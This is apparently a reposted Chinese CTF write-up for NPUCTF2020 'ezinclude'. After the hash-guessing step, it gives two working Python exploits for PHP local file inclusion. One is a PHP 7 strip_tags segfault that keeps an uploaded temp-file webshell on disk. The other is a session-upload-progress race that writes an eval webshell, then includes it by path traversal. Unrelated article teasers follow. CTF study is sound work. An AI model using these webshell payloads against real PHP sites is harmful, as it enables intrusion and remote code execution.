[NPUCTF2020]ezinclude 文件包含两大 getshell方式

news2024/11/19 2:34:15

PHP LFI 利用临时文件 Getshell 姿势 | 码农家园

说一下我的思路吧

robots没有

扫描发现存在 dir.php

然后404.html 报错

apache 2.18 ubuntu

这个又正好存在漏洞 所以前面全去看这个了

结果根本不是这样做。。。

正确的思路是这样

发现变量 认为是 name和 pass传递参数

或者通过爆破 但是太慢了

我们可以抓包测试

发现了 hash  因为提示我们MD5 所以我们需要注意

然后我们传递一个 ?name=2

发现hash变了 这里我们就多半能确定 cookie是我们的pass

因为 name改变 cookie也改变 然后都是hash值

所以我们pass=hash一下看看

GET /?name=2&pass=616bcf60c47829c8e770b19fd45336d9 HTTP/1.

我们去访问看看

这里全程只能 bp抓包

不然会跳转 404

发现 include了 文件包含 我们去看看 用伪协议读取一下文件吧

首先是 404.html 一点用都没有。。。

我们看看 dir.php

<?php
var_dump(scandir('/tmp'));
?>

我们看看index

<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
	echo '<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
	</script>
';
}else{
	setcookie("Hash",md5($secret.$name),time()+3600000);
	echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>

okok 做到这里 一点思路都没得了 只有 dir.php存在输出 多半是通过 dir.php输出内容 那我要怎么实现啊。。。。。

看wp吧

学到了学到了

PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客

这里是我学习到的知识点

我们开始

1. php7 Segment Fault

我们首先抓包的时候可以可以发现

存在 php 7 这里存在一个漏洞

如果用 过滤器  string.strip_args 的时候 选择一个文件

并且我们可以通过fuzz或者dir.php查找

exp

#python 2.7

import requests
from io import BytesIO

url1 = "http://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=dir.php"

files = {'file': BytesIO('<?php eval($_REQUEST[1]);?>')}

re = requests.post(url=url1, files=files, allow_redirects=False)

url2 = "http://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/dir.php"

re2 = requests.get(url=url2)

print
re2.text

但是很奇怪 我根本在web中无法实现 所以我用蚁剑链接

但是奇了怪了 无法执行命令 啥都没有 可能被disable_function 了

我们用插件bypass

错的 看wp才知道是在phpinfo中

正好也有插件可以查看phpinfo

获取flag

2.session get shell

这里不知道有没有开启session 但是文件包含题目 可以试试看

exp

import io
import sys
import requests
import threading

sessid = 'shell'


def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/',
            data={
                "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
            files={"file": ('q.txt', f)},
            cookies={'PHPSESSID': sessid}
        )


def READ(session):
    while True:
        response = session.get(
            f'http://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/flflflflag.php?file=../../../../../../../../tmp/sess_{sessid}')
        # print('[+++]retry')
        # print(response.text)

        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session,))
    t1.daemon = True
    t1.start()

    READ(session)

一直跑就出来了 因为返回了phpinfo

里面存在flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1081898.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python 机器学习入门之牛顿法

系列文章目录 第一章 Python 机器学习入门之线性回归 第一章 Python 机器学习入门之梯度下降法 第一章 Python 机器学习入门之牛顿法 梯度下降法 系列文章目录前言一、牛顿法1.牛顿法简介2.基本原理 总结 前言 上一篇文章里面说到了梯度下降法&#xff0c;它是使用泰勒近似定…

第18篇ESP32platformio-arduino框架-ili9488-3.5lcd显示时间天气

第18篇ESP32platformio-arduino框架-ili9488-lcd显示时间天气 第18篇esp32ili9488lcd显示时间天气 连接方法&#xff1a; 修改WIFI&#xff1a; 关键代码 void setup() {Serial.begin(115200);WiFi.mode(WIFI_STA);WiFi.begin(ssid,password);Serial.print("\r\nConnect…

codesys【软PLC】

软plc一般安装在工控机里。或者笔记本等小型电脑内。 电视盒子需要&#xff1a;刷个armbain 软件下载地址&#xff1a; CODESYS商城-商品列表 A&#xff1a;是实时系统 B&#xff1a;非实时 C&#xff1a;这个不能单独运行&#xff0c;需要在B的基础上。开启了多核线程…

国际教材概念基础

各种区别 缩写 A-LEVEL&#xff08;大学预科&#xff09;&#xff1a;General Certificate of Education Advanced Level AP&#xff1a;Advanced Placement&#xff08;美国地区&#xff1a;美高AP&#xff09; GCSE&#xff1a;General Certificate of Secondary Educati…

下载调试器 JTAG和SWD

下载调试器 JTAG和SWD 作为嵌入式工程师&#xff0c;下载调试器 JTAG和SWD是经常使用的&#xff0c;但你真正了解其SWD 和 JTAG接口的含义和区别吗&#xff1f; 一、什么是下载调试器&#xff1f; 下载调试器是将PC&#xff08;例如通过USB协议&#xff09;发送的命令转换为…

数组的reduce和reduceRight方法

1.reduce方法可用接收两个参数&#xff1a; 第一个参数&#xff1a;为一个回调函数&#xff0c;此回调函数又可以有四个参数 第1个参数&#xff1a;为上一次回调函数return的结果&#xff0c;首次默认为第二个参数值&#xff0c;如果没有第二个参数值&#xff0c;则默认当前数…

[Mono Depth/3DOD]单目3D检测基础

1.数据增强 图像放缩和裁剪后&#xff0c;相机内参要做相应变化 import random def random_scale(image, calib, scale_range(0.8, 1.2)):scale random.uniform(*scale_range)width, height image.sizeimage image.resize((int(width * scale), int(height * scale)))cali…

4.03 用户中心-订单管理功能开发

用户中心-订单管理功能开发: (1&#xff09;包含用户订单的查询根据订单并进行分页 (2&#xff09;订单的确定和交易关闭订单删除 详细内容&#xff0c;查询地址&#xff1a;http://www.gxcode.top/code 页面下载地址&#xff1a;

【C++】神奇字符串(力扣481)

神奇字符串的规律&#xff1a; 神奇字符串 s 仅由 ‘1’ 和 ‘2’ 组成&#xff0c;并需要遵守下面的规则&#xff1a; 神奇字符串 s 的神奇之处在于&#xff0c;串联字符串中 1 和 2 的连续出现次数可以生成该字符串。 s 的前几个元素是 s “1221121221221121122……” 。如果…

项目管理过程组

项目管理有2条主线&#xff0c;一条是技术&#xff0c;一条是管理。项目过程由项目团队实施。一般术语以下两大类之一&#xff1a;一类是项目管理过程。另一类是面向产品的过程。在大多数情况下&#xff0c;大多数项目都有共同的项目管理过程。它们通过有目的的实施而互相联系起…

界面组件DevExtreme v23.2新功能预览 - 增强Material主题功能

界面组件DevExtreme v23.2即将在几个月之后交付&#xff0c;本文将带大家预览一波新功能。 DevExtreme拥有高性能的HTML5 / JavaScript小部件集合&#xff0c;使您可以利用现代Web开发堆栈&#xff08;包括React&#xff0c;Angular&#xff0c;ASP.NET Core&#xff0c;jQuer…

IOday3作业

#include <head.h> int get_filePerrmison(mode_t mode)//获取文件权限 {char per[] "rwx";for(int i0;i<9;i){if((mode&(0400>>i))0){putchar(-);continue;}putchar(per[i%3]);}} int get_fileType(mode_t m) //获取文件类型 {switch(m&S_IF…

蓝桥杯每日一题2023.10.11

子串分值和 - 蓝桥云课 (lanqiao.cn) 题目描述 题目分析 以下为50分方法&#xff08;暴力枚举&#xff09; 第一层循环枚举其长度&#xff0c;第二层循环枚举其左端点&#xff0c;k代表右端点&#xff0c;&#xff08;将每一种子串一一枚举出来&#xff09;算出从左端点到右…

关于Vuex的基础使用存值及异步

目录 一.概述 二.取值 2.1.安装 2.2.菜单栏 2.3.模块 2.4.引用 三.改值 四.异步&后台请求 好啦今天就到这里了希望能帮到你哦&#xff01;&#xff01;&#xff01; 一.概述 Vuex 是一个用于 Vue.js 应用程序的状态管理库。它主要用于集中管理应用程序中的共享状态&a…

kafka详解(三)

2.2 Kafka命令行操作 2.2.1 主题命令行操作 1&#xff09;查看操作主题命令参数 [aahadoop102 kafka]$ bin/kafka-topics.sh2&#xff09;查看当前服务器中的所有topic (配置了环境变量不需要写bin/) [aahadoop102 kafka]$ bin/kafka-topics.sh --bootstrap-server hadoop10…

vue3组件的通信方式

一、vue3组件通信方式 通信仓库地址:vue3_communication: 当前仓库为贾成豪老师使用组件通信案例 不管是vue2还是vue3,组件通信方式很重要,不管是项目还是面试都是经常用到的知识点。 比如:vue2组件通信方式 props:可以实现父子组件、子父组件、甚至兄弟组件通信 自定义事件:可…

【visionOS】从零开始创建第一个visionOS程序

前言&#xff1a;本來是看BonjourWeb的&#xff0c;但不自觉被apple visionOS吸引&#xff0c;因为这个概念的产品真的太前沿新颖了。 说不定到时候我会冲一冲~~~先简单学习下嘿嘿 为Apple Vision Pro创建一个新的应用程序和游戏世界。 介绍visionOS visionOS是苹果Vision Pr…

Linux基本指令(1)

Linux基本指令&#xff08;1&#xff09; 1.ls指令1.1ls的用法 2. pwd指令3.cd指令3.1 cd3.2补充内容3.3 cd - 指令3.4 cd ~ 指令 4. touch指令4.1stat指令 5.mkdir 指令6.rmdir/rm指令6.1补充内容 7.man指令8.nano 指令9.cat指令10 cp指令11 mv指令12 echo指令12.1 > 输出重…

二叉搜索树--验证二叉搜索树

验证二叉搜索树-力扣 98 题 解题思路&#xff1a;利用二叉树中序遍历的特性&#xff1a;遍历出来的结果是升序的即符合二叉搜索树 对于二叉树中序遍历不是太理解的&#xff0c;作者推荐的小白书&#xff1a;二叉树的初步认识_加瓦不加班的博客-CSDN博客 中序非递归实现 // 解…

抖音小店创业攻略,快速了解这些适合新手经营的类目

抖音小店是抖音平台上的一种新型电商形态&#xff0c;它允许用户在抖音上开设自己的小店&#xff0c;销售自己的商品。抖音小店的开设门槛低&#xff0c;成本也不高&#xff0c;因此很受新手创业者的青睐。那么&#xff0c;下面不若与众将介绍抖音小店中有哪些适合新手创业者经…